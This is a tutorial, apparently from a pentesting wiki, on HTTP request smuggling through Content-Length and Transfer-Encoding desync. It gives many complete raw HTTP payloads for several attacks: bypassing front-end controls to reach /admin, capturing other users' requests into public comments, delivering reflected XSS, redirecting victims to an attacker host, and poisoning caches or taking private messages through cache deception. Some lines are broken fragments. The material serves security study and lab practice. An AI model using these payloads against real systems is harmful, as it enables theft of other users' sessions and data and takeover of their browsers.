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This vulnerability occurs when a desyncronization between front-end proxies and the back-end server allows an attacker to send an HTTP request that will be interpreted as a single request by the front-end proxies (load balance/reverse-proxy) and as 2 request by the back-end server. This allows a user to modify the next request that arrives to the back-end server after his.
If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user. Chunked means that large data is sent in a series of chunks
The Front-End (a load-balance / Reverse Proxy) process the content-length or the transfer-encoding header and the Back-end server process the other one provoking a desyncronization between the 2 systems. This could be very critical as an attacker will be able to send one request to the reverse proxy that will be interpreted by the back-end server as 2 different requests. The danger of this technique resides in the fact the back-end server will interpret the 2nd request injected as if it came from the next client and the real request of that client will be part of the injected request.
Remember that in HTTP a new line character is composed by 2 bytes: \r\n
Content-Length: This header uses a decimal number to indicate the number of bytes of the body of the request. The body is expected to end in the last character, a new line is not needed in the end of the request.
Transfer-Encoding: This header uses in the body an hexadecimal number to indicate the number of bytes of the next chunk. The chunk must end with a new line but this new line isn't counted by the length indicator. This transfer method must end with a chunk of size 0 followed by 2 new lines: 0\r\n\r\n
Connection: Based on my experience it's recommended to use Connection: keep-alive on the first request of the request Smuggling.
So, request smuggling attacks involve placing both the Content-Length header and the Transfer-Encoding header into a single HTTP request and manipulating these so that the front-end and back-end servers process the request differently. The exact way in which this is done depends on the behaviour of the two servers:
CL.TE: the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.
TE.CL: the front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header.
TE.TE: the front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.
Here, the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header. We can perform a simple HTTP request smuggling attack as follows:
`POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 30 Connection: keep-alive Transfer-Encoding: chunked
0
GET /404 HTTP/1.1 Foo: x`
Note how Content-Length indicate the bodies request length is 30 bytes long (remember that HTTP uses \r\n as new line, so 2bytes each new line), so the reverse proxy will send the complete request to the back-end, and the back-end will process the Transfer-Encoding header leaving the GET /404 HTTP/1.1 as the begging of the next request (BTW, the next request will be appended to Foo:x<Next request starts here>).
Here, the front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header. We can perform a simple HTTP request smuggling attack as follows:
`POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 4 Connection: keep-alive Transfer-Encoding: chunked
7b GET /404 HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 30
x= 0`
In this case the reverse-proxy will send the hole request to the back-end as the Transfer-encoding indicates so. But, the back-end is going to process only the 7b\r\n (4bytes) as indicated in the Content-Lenght .Therefore, the next request will be the one starting by GET /404 HTTP/1.1
Note that even if the attack must end with a 0\r\n\r\n the following request is going to be appended as extra values of the x parameter.
Also note that the Content-Length of the embedded request will indicate the length of the next request that is going to b appended to the x parameter. If it's too small, only a few bytes will be appended, and if to large (bigger that the length of the next request) and error will be thrown for the next request.
Here, the front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.
There are potentially endless ways to obfuscate the Transfer-Encoding header. For example:
`Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked Transfer-Encoding: x
Transfer-Encoding: chunked Transfer-encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding : chunked`
Depending on the server (reverse-proxy or backing) that stops processing the TE header, you will find a CL.TE vulnerability or a TE.CL vulnerability.
If an application is vulnerable to the CL.TE variant of request smuggling, then sending a request like the following will often cause a time delay:
`POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Connection: keep-alive Content-Length: 4
1 A 0`
Since the front-end server uses the Content-Length header, it will forward only part of this request, omitting the X. The back-end server uses the Transfer-Encoding header, processes the first chunk, and then waits for the next chunk to arrive. This will cause an observable time delay.
Sometimes, instead of getting a timeout you receive a 400 bad request from the final host like in the following scenario, where a CL.TE payload is sent:
And the response is a redirect containing an error inside the body with even the version of the haproxy used:
If an application is vulnerable to the TE.CL variant of request smuggling, then sending a request like the following will often cause a time delay:
`POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Connection: keep-alive Content-Length: 6
0
X`
Since the front-end server uses the Transfer-Encoding header, it will forward only part of this request, omitting the X. The back-end server uses the Content-Length header, expects more content in the message body, and waits for the remaining content to arrive. This will cause an observable time delay.
Some important considerations should be kept in mind when attempting to confirm request smuggling vulnerabilities via interference with other requests:
The "attack" request and the "normal" request should be sent to the server using different network connections. Sending both requests through the same connection won't prove that the vulnerability exists.
The "attack" request and the "normal" request should use the same URL and parameter names, as far as possible. This is because many modern applications route front-end requests to different back-end servers based on the URL and parameters. Using the same URL and parameters increases the chance that the requests will be processed by the same back-end server, which is essential for the attack to work.
When testing the "normal" request to detect any interference from the "attack" request, you are in a race with any other requests that the application is receiving at the same time, including those from other users. You should send the "normal" request immediately after the "attack" request. If the application is busy, you might need to perform multiple attempts to confirm the vulnerability.
In some applications, the front-end server functions as a load balancer, and forwards requests to different back-end systems according to some load balancing algorithm. If your "attack" and "normal" requests are forwarded to different back-end systems, then the attack will fail. This is an additional reason why you might need to try several times before a vulnerability can be confirmed.
If your attack succeeds in interfering with a subsequent request, but this wasn't the "normal" request that you sent to detect the interference, then this means that another application user was affected by your attack. If you continue performing the test, this could have a disruptive effect on other users, and you should exercise caution.
Some times the front-end proxies will perform some security checks. You can avoid them by abusing HTTP Request Smuggling as you will be able to bypass the protections. For example, in this example you cannot access /admin from the outside and the front-end proxy is checking that, but this proxy isn't checking the embedded request:
`POST / HTTP/1.1 Host: acb21fdd1f98c4f180c02944000100b5.web-security-academy.net Cookie: session=xht3rUYoc83NfuZkuAp8sDxzf0AZIwQr Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 67 Transfer-Encoding: chunked
0
GET /admin HTTP/1.1 Host: localhost Content-Length: 10
x=`
POST / HTTP/1.1
Host: ace71f491f52696180f41ed100d000d4.web-security-academy.net
Cookie: session=Dpll5XYw4hNEu09dGccoTjHlFNx5QY1c
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
In many applications, the front-end server performs some rewriting of requests before they are forwarded to the back-end server, typically by adding some additional request headers.
One common thing to do is to add to the request the header X-Forwarded-For: <IP of the client> or some similar header so the back-end knows the IP of the client.
Sometimes, if you can find which new values are appended to the request you could be able to bypass protections and access hidden information/endpoints.
For discovering how is the proxy rewriting the request you need to find a POST parameter that the back-end will reflect it's value on the response. Then, use this parameter the last one and use an exploit like this one:
`POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 130 Connection: keep-alive Transfer-Encoding: chunked 0
POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 100
search=`
In this case the next request will be appended after search= which is also the parameter whose value is going to be reflected on the response, therefore it's going to reflect the headers of the next request.
Note that only the length indicated in the Content-Length header of the embedded request is going to be reflected. If you use a low number, only a few bytes will be reflected, if you use a bigger number than the length of all the headers, then the embedded request will throw and error. Then, you should start with a small number and increase it until you see all you wanted to see.
Note also that this technique is also exploitable with a TE.CL vulnerability but the request must end with search=\r\n0\r\n\r\n. However, independently of the new line characters the values are going to be appended to the search parameter.
Finally note that in this attack we are still attacking ourselves to learn how the front-end proxy is rewriting the request.
If you can find a POST request which is going to save the contents of one of the parameters you can append the following request as the value of that parameter in order to store the quest of the next client:
`POST / HTTP/1.1 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 319 Connection: keep-alive Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net Content-Length: 659 Content-Type: application/x-www-form-urlencoded Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=`
In this case, the value of the parameter comment is going to be saved inside a comment of a post in the page that is publicly available, so a comment will appear with the content of the next request.
One limitation with this technique is that it will generally only capture data up until the parameter delimiter that is applicable for the smuggled request. For URL-encoded form submissions, this will be the & character, meaning that the content that is stored from the victim user's request will end at the first &, which might even appear in the query string.
Note also that this technique is also exploitable with a TE.CL vulnerability but the request must end with search=\r\n0\r\n\r\n. However, independently of the new line characters the values are going to be appended to the search parameter.
If the web page is also vulnerable to Reflected XSS, you can abuse HTTP Request Smuggling to attack clients of the web. The exploitation of Reflected XSS from HTTP Request Smuggling have some advantages:
It requires no interaction with victim users
It can be used to exploit XSS behavior in parts of the request that cannot be trivially controlled in a normal reflected XSS attack, such as HTTP request headers.
If a web is vulnerable to Reflected XSS on the User-Agent header you can use this payload to exploit it:
`POST / HTTP/1.1 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Cookie: session=Ro7YknOtbl3bxURHAAxZz84qj3PSMnSY Transfer-Encoding: chunked Connection: keep-alive Content-Length: 213 Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net User-Agent: ">alert(1) Content-Length: 10 Content-Type: application/x-www-form-urlencoded
A=`
Many applications perform on-site redirects from one URL to another and place the hostname from the request's Host header into the redirect URL. An example of this is the default behavior of Apache and IIS web servers, where a request for a folder without a trailing slash receives a redirect to the same folder including the trailing slash:
`GET /home HTTP/1.1 Host: normal-website.com
This behavior is normally considered harmless, but it can be exploited in a request smuggling attack to redirect other users to an external domain. For example:
`POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 54 Connection: keep-alive Transfer-Encoding: chunked
0
GET /home HTTP/1.1 Host: attacker-website.com Foo: X`
The smuggled request will trigger a redirect to the attacker's website, which will affect the next user's request that is processed by the back-end server. For example:
`GET /home HTTP/1.1 Host: attacker-website.com Foo: XGET /scripts/include.js HTTP/1.1 Host: vulnerable-website.com
Here, the user's request was for a JavaScript file that was imported by a page on the web site. The attacker can fully compromise the victim user by returning their own JavaScript in the response.
If any part of the front-end infrastructure performs caching of content (generally for performance reasons) the it might be possible to poison that cache modifying the response of the server.
Notice this is even more interesting if you find some Open Redirect or some on-site redirect to open redirect (last section). Because, you could be able to change the cache values of /static/include.js with the ones of a script controlled by you (making a general XSS to all the clients that try to download the new version of/static/include.js).
In this example it's going to be shown how you can exploit a cache poisoning + on-site redirect to open redirect to modify the contents of the cache of /static/include.js to serve JS code controlled by the attacker:
`POST / HTTP/1.1 Host: vulnerable.net Content-Type: application/x-www-form-urlencoded Connection: keep-alive Content-Length: 124 Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1 Host: attacker.net Content-Type: application/x-www-form-urlencoded Content-Length: 10
x=1`
Note how the embedded request is asking for /post/next?postId=3 This request is going to be redirected to /post?postId=4 and will use the value of the Host header to indicate the domain. Therefore, you can modify the Host header to point the attackers server and the redirect will use that domain (on-site redirect to open redirect).
Then, after poisoning the socket, you need to send a GET request to /static/include.jsthis request will be poisoned by the on-site redirect to open redirect request and will grab the contents of the attacker controlled script.
The next time that somebody ask for /static/include.js the cached contents of the attackers script will be server (general XSS).
What is the difference between web cache poisoning and web cache deception?
In web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
In web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
In this variant, the attacker smuggles a request that returns some sensitive user-specific content. For example:
`POST / HTTP/1.1 Host: vulnerable-website.com Connection: keep-alive Content-Length: 43 Transfer-Encoding: chunked
0
GET /private/messages HTTP/1.1 Foo: X`
If the poison reaches a client that was accessing some static content like /someimage.png that was going to be cached. The contents of /private/messages of the victim will be cached in /someimage.png and the attacker will be able to steal them.
Note that the attacker doesn't know which static content the victim was trying to access so probably the best way to test this is to perform the attack, wait a few seconds and load all the static contents and search for the private data.
Once you have found that the timing techniques are working you need to probe that you can you can alter others clients requests.
The easiest way to do this is to try to poison your own requests, make a request for / return a 404 for example.
In the we already saw CL.TE and TE.CL examples of how to poison a clients request to ask for /404 provoking a 404 response when the client was asking for any other resource.
HTTP/1.1 301 Moved Permanently Location:
HTTP/1.1 301 Moved Permanently Location:
We have already see how to modify the expected returned value from the server to a 404 (in the ), in a similar way you could make the server return the content of /index.html when the poisoned request is asking for /static/include.js . This way, the content of the /static/include.js will be cached with the content of /index.html making /static/include.js inaccessible to the clients (DoS?).
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